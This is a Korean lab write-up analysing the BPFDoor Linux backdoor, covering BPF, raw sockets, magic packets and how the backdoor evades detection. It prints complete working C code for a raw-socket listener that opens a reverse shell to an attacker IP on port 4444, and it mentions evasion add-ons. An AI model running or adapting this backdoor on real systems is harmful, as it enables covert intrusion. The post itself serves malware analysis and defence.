서론
최근 SKT 사건으로 리눅스 백도어 BPFDoor 악성코드가 주목받고 있습니다.
처음 BPFDoor 보고서를 봤을때 “BPFDoor 리버스쉘은 TCP 같은 프로토콜을 사용하지 않는다.” 라고 접했어서 “어떻게 그게 가능하지?” 라는 의문이 생겼습니다.
그래서 직접 분석 및 실습을 해보고자 이 문서를 작성하게 됐습니다.
BPF
Berkeley Packet Filter(BPF): 커널 내부에서 고속 필터링이나 데이터 처리를 수행할 수 있게 해주는 기술(특정 툴이나 프로그램 X). 1992년 UC Berkeley에서 개발
- 원래는 tcpdump, wireshark 등의 트래픽 캡처 최적화를 위해 개발
- 최근에는 eBPF로 확장되어, 시스템 트레이싱, 보안 모니터링까지 활용 범위 확대
BPF를 사용하는 툴
- tcpdump: Classic BPF 사용. 네트워크 패킷을 조건에 따라 필터링해서 캡처
- iptables (xt_bpf): BPF를 이용해 고급 패킷 필터 정의 가능
- bpftrace: eBPF 스크립트 언어. 시스템 콜, 함수 호출 등 트레이싱 가능
BPFDoor
- 리눅스 시스템을 타겟으로 한 백도어 악성코드
주요 특징
- 포트리스닝 없이 Raw socket + BPF 필터를 활용해서 네트워크 트래픽 감시
- 파일/프로세스명 위장 (예: kworker, rsyslogd)
- 설치 경로 은닉 (/usr/lib, /tmp 등)
작동 원리 정리
- Raw socket을 이용해 프로토콜 없이 모든 수신 트래픽 수집
- 수집한 트래픽 중 BPF를 이용해서 매직 패킷을 필터링
- 매직 패킷이 존재하면 리버스쉘 연결
Raw socket: 네트워크 패킷을 TCP/UDP 같은 전송 계층이 처리하기 전에 직접 다루는 소켓
매직 패킷: 일반적인 네트워크 패킷 포맷이지만 내부에 특정한 값이 담긴 패킷
PoC
실제 공격에 사용하는 수준이 아닌 간단한 테스트로 실습했습니다.
Github PoC 사용 : https://github.com/gwillgues/BPFDoor
위 코드를 수정해서 사용했습니다.
수정 사항
- 이더넷/IP/TCP 헤더 54바이트 스킵 후 Payload에서 문자열 검색
- 매직 패킷 수신 후 리버스쉘 연결 기능 추가
수정된 최종 코드
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <linux/filter.h>
#include <sys/ioctl.h>
#include <net/if.h>
#define INTERFACE "ens160"
#define ATTACKER_IP "192.168.0.146"
#define ATTACKER_PORT 4444
// 매직 패킷 트리거 문자열
#define MAGIC "MAGIC"
void spawn_reverse_shell(const char* attacker_ip, int attacker_port) {
int sockfd;
struct sockaddr_in attacker_addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("socket");
exit(1);
}
memset(&attacker_addr, 0, sizeof(attacker_addr));
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(attacker_port);
attacker_addr.sin_addr.s_addr = inet_addr(attacker_ip);
if (connect(sockfd, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) < 0) {
perror("connect");
exit(1);
}
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
char *const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
}
int is_magic_packet(unsigned char *buffer, int size) {
if (size < 54) return 0; // 14(Ethernet) + 20(IP) + 20(TCP) 대략 예상
unsigned char *payload = buffer + 54; // 헤더 54바이트 스킵
int payload_size = size - 54;
if (payload_size < strlen(MAGIC)) return 0;
if (memcmp(payload, MAGIC, strlen(MAGIC)) == 0) return 1;
return 0;
}
int main() {
int sock;
struct ifreq ifr;
struct sockaddr_ll sll;
unsigned char buffer[2048];
sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock < 0) {
perror("socket");
exit(1);
}
strncpy(ifr.ifr_name, INTERFACE, IFNAMSIZ - 1);
if (ioctl(sock, SIOCGIFINDEX, &ifr) < 0) {
perror("ioctl");
close(sock);
exit(1);
}
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifr.ifr_ifindex;
sll.sll_protocol = htons(ETH_P_ALL);
if (bind(sock, (struct sockaddr *)&sll, sizeof(sll)) < 0) {
perror("bind");
close(sock);
exit(1);
}
printf("[+] Listening on %s for magic packet...\n", INTERFACE);
while (1) {
ssize_t packet_size = recvfrom(sock, buffer, sizeof(buffer), 0, NULL, NULL);
if (packet_size > 0) {
if (is_magic_packet(buffer, packet_size)) {
printf("[+] Magic packet received! Spawning reverse shell...\n");
spawn_reverse_shell(ATTACKER_IP, ATTACKER_PORT);
break; // 리버스쉘 종료 후 루프 탈출
}
}
}
close(sock);
return 0;
}공격 흐름

실행 결과


- 실제 공격용이면 root 권한으로 상시 실행 및 프로세스 은닉 등 여러 탐지 우회 기법을 적용할 수 있습니다.
BPFDoor의 탐지 회피
이렇게 분석 및 실습을 해본 결과는 아래와 같습니다.
매직 패킷 수신 대기 상태(탐지 매우 어려움)
- raw socket 사용
- netstat, ss, lsof로 직접적인 탐지 불가
리버스쉘 연결 이후 (은닉도 낮음)
- 일반 TCP 연결 (표준 포트 사용)
- SSL/TLS 암호화 없음
- HTTP/DNS 트래픽 위장
하지만 악성코드 개발 단계에서 리버스쉘 연결 과정 은닉도를 보완할 수 있습니다(ex: 난독화)
결론
BPFDoor 악성코드는 매직 패킷 대기 상태에서는 매우 높은 은닉도를 보입니다.
흔히 사용하는 리눅스 유저레벨의 명령어와 기능으로는 작정하고 만든 악성코드는 탐지가 어렵다고 보는게 맞다고 생각합니다.
하지만 리버스쉘 연결 이후부터는 기존 알려진 리버스쉘 공격과 큰 차이가 없습니다.
요약
BPFDoor는 “탐지 회피가 매우 강화된 일반적인 리버스쉘” 정도이며, 체계적 방어 체계를 갖춘 환경에서는 탐지 및 대응이 충분히 가능하다고 보입니다.